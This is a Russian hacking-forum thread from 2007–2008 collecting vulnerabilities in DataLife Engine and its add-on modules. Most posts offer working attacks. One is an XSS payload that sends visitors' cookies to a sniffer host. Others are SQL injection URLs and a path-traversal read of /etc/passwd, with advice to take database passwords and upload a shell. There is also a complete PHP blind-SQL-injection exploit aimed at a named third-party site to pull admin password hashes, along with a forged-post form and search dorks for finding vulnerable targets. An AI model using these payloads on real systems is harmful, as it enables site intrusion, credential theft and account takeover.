Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
[ Обзор уязвимостей DataLife Engine ] |

28.10.2007, 02:11
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
[ Обзор уязвимостей DataLife Engine ]
Обзор уязвимостей [DataLife Engine]
Сайт производителя: www.dle-news.ru
Актуальная версия: 6.3
DataLife Engine v.3.7
[Раскрытие установочного пути]
В parse.class.php выделено 12582912 байт на проверку сообщения.
Переполнение делается так: "<<><><><><><>>"
[ХСС]
Угнать кукисы можно при помощи вставки картинки.
[img][/img] -- этим можно воспользваться всегда, даже если нету таких кнопок при
добавлении новости, личном сообщении, добавления коментария.
Непосредственно сама ХСС:
Код:
[IMG=left]http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document.
cookie;'><!--[/IMG]
[Проблемы с SQL]
Код:
http://target.net/category/topic/ -- где topic -- это не существующая тема.
Результат: SELECT id FROM nws_category WHERE parentid=not detected ;
Версия 4.1 возможно более ранние SQL Injection.
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:
[CODE]http://[host]/index.php?subaction=userinfo&user=
DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl)
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php)
SQL injection for <=4.1 version exploit
RGdatalife - exploit (php version)
Последний раз редактировалось Solide Snake; 23.03.2008 в 14:58..
|
|
|

13.01.2008, 01:25
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме: 7084941
Репутация:
2277
|
|
в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем..
пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем.
Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим...
баг в функциях оптимизации базы
http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
пакеты браузера
cmd> GET /admin.php?mod=dboption&action=dboption HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
cmd> Referer: http://demo.dle-news.ru/admin.php?mod=dboption
cmd> User-Agent: 8.50 iia Nokia 6630 (in Spanish) — Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es]
cmd> Host: demo.dle-news.ru
cmd> Cookie: PHPSESSID=2962374dc7d3a4f7035f4f5d290c02e2; dle_skin=deleted; dle_hash=deleted; lastusername=demo; dle_name=demo; dle_password=fe01ce2a7fbac8fafaed7c982a04e229
cmd>
hdr> HTTP/1.1 200 OK
hdr> Server: nginx/0.5.34
hdr> Date: Thu, 10 Jan 2008 22:05:26 GMT
hdr> Content-Type: text/html; charset=windows-1251
hdr> Connection: close
hdr> X-Powered-By: PHP/5.2.3
hdr> Expires: Tue, 11 Jun 1985 05:00:00 GMT
hdr> Cache-Control: no-store, no-cache, must-revalidate
hdr> Pragma: no-cache
hdr> Last-Modified: Thu, 10 Jan 2008 22:05:48 GMT
hdr> Cache-Control: post-check=0, pre-check=0
hdr> Content-Length: 1337
hdr> Content-Language: ru
RequestDone Error = 0
StatusCode = 200
расскрытие при повторном посте
и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/
Warning: reset(): Passed variable is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 28 Warning: Variable passed to each() is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 32 MySQL Error!
------------------------
The Error returned was:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Error Number:
1064
так же мона юзать xss
method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize
или
ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair
вообщем имеем пост ксс и расскрытие пути
з.ы. сначала незаметил и создал новую тему ^^
|
|
|

13.01.2008, 01:31
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает)
Листилка (читалка) файлов там где не стоит мэйджик квотез:
Код:
http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет...
(c) Scipio
Последний раз редактировалось jokester; 08.06.2009 в 18:03..
Причина: Чистка темы
|
|
|

03.02.2008, 03:59
|
|
Новичок
Регистрация: 03.02.2008
Сообщений: 1
Провел на форуме: 8339
Репутация:
21
|
|
Раскрытие полного установочного пути (для авторизированых юзеров)
Код:
index.php?do=pm&doaction=newpm&user[]=
Результат
Код:
Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49
Последний раз редактировалось r00tk1d; 03.02.2008 в 04:01..
|
|
|

02.03.2008, 18:07
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме: 13395217
Репутация:
2097
|
|
blind sql-inj в неофициальном модуле к Dle files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
Код:
http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,(select%201%20from%20dle_downloads))+--+
Эксплоит:
PHP код:
<?php
set_time_limit(0);
/*-----------------------------------------------------*/
//Эксплойт для модуля Files(модуль файлового архива) к DLE
//Автор: H00K
/*-----------------------------------------------------*/
/*-----------------Настройки---------------------------*/
$host="symbiware.org";//указываем хост
$catid = "38";//Указываем id существующей категории
$userid = "0";//Указываем id администратора
/*-----------------------------------------------------*/
$good = "MySQL Fatal Error";
$bad = "Архив файлов";
$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";
$end = ",(select%201%20from%20dle_downloads),url)+--+";
$index = 1;
$result = "";
function GetMiddle($min, $max)
{
return floor($min+((($max+1)-($min-1))/2));
}
function Check($min,$max)
{
if (($max-$min)<=2)
{
global $index;
global $result;
global $host;
global $path;
echo "Символ найден: ";
if (($max-$min)==1)
if (CheckSQL($host, $path, $index.",1))={$max}"))
$result .=chr($max); else $result .=chr($min);
if (($max-$min)==2)
{
if (CheckSQL($host, $path, $index.",1))={$max}"))
{
$result .=chr($max);
} else
{
if(CheckSQL($host, $path, $index.",1))={$max}-1"))
$result .=chr($max-1); else $result .=chr($min);
}
}
echo substr($result,strlen($result)-1)."<br>";
flush();
$index++;
return true;
} else return false;
}
function CheckSQL ($host, $path, $st)
{ global $end;
$line="";
$fo = fsockopen($host, 80, $errno, $errstr, 30);
if(!$fo){die ("no connect");}
else
{
$headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
$headers.="Host: ".$host."\r\n";
$headers.="Connection: Close\r\n\r\n";
global $good;
global $bad;
fwrite($fo, $headers);
while (!feof($fo))
{
$line = fgets($fo, 512);
if (strpos($line,$good))
{
fclose($fo);
return true;
}
if (strpos($line,$bad))
{
fclose($fo);
return false;
}
}
fclose($fo);
}
return false;
}
if (CheckSQL($host, $path, $index.",1))+between+1+and+255"))
echo (" Идет подбор символов...<br>"); else die("Ошибка");
for ($i=0;$i<32;$i++)
{
$min = 31;
$max = 123;
$ok = true;
while ($ok == true)
{
$num = GetMiddle($min,$max);
if (!check($min,$max))
{
if (CheckSQL($host, $path, $index.",1))+between+1+and+{$num}"))
{
echo("Меньше $num <br>");
$max = $num;
} else
{
echo ("Больше $num <br>");
$min = $num;
}
flush();
} else $ok = false;
}
}
echo $result;
?>
© H00k
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
|
|
|

08.04.2008, 00:16
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Нашёл XSS в модуле DLE Forum 2.1
Код:
http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>
Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать  )
З.Ы.
Гуглом ищутся по запросу:
intitle:"Работает на DLE Forum"
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 08.04.2008 в 00:22..
|
|
|

08.04.2008, 01:49
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Ещё забавную багу нашёл в модуле DLE Forum 2.1
Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):
Создайте страничку со следующим кодом:
Код:
<form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
Forum ID: <input type="text" name="forum_id" value="2"><br/>
Topic ID: <input type="text" name="topic_id" value="1"><br/>
Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/>
UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
UserMail: <input type="text" name="mail" value="Billy@mail.xx"><!-- Вписываем что хотим -->
<input type="submit">
</form>
Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 08.04.2008 в 01:53..
|
|
|

08.04.2008, 17:36
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Blind SQL Injection в в модуле DLE Forum 2.1:
На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.
Для выполнения, нужно залогиниться.
Для начала нужно добавить иньекцию в БД
Примеры:
Код:
http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 --
Код:
http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) --
Затем, для её выполнения нужно обратиться по адресу:
Код:
http://site/index.php?do=forum&act=subscription
При написании неудачного запроса, его нужно удалить командой: (это важно!)
Код:
http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]
Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html
З.Ы.
Сорри, что не добил скуль до конца, времени не хватает, но это возможно.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 08.04.2008 в 17:41..
|
|
|

08.04.2008, 21:38
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
SQL Injection в в модуле DLE mChat v. 2.0:
Нашёл в админке, и после ORDER BY, наверное бесполезная, но:
Код:
http://site/admin.php?mod=mchat&start_from=SQL
И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):
Код:
http://site/admin.php?mod=mchat&mchat_per_page=1SQL
Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

08.04.2008, 22:07
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Раскрытие пути в модуле DLE mChat v. 2.0:
Код:
http://site/admin.php?mod=mchat&action=mess_del
Код:
http://site/admin.php?mod=mchat&action=do_mess_del
Тоже админка 
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 08.04.2008 в 23:27..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|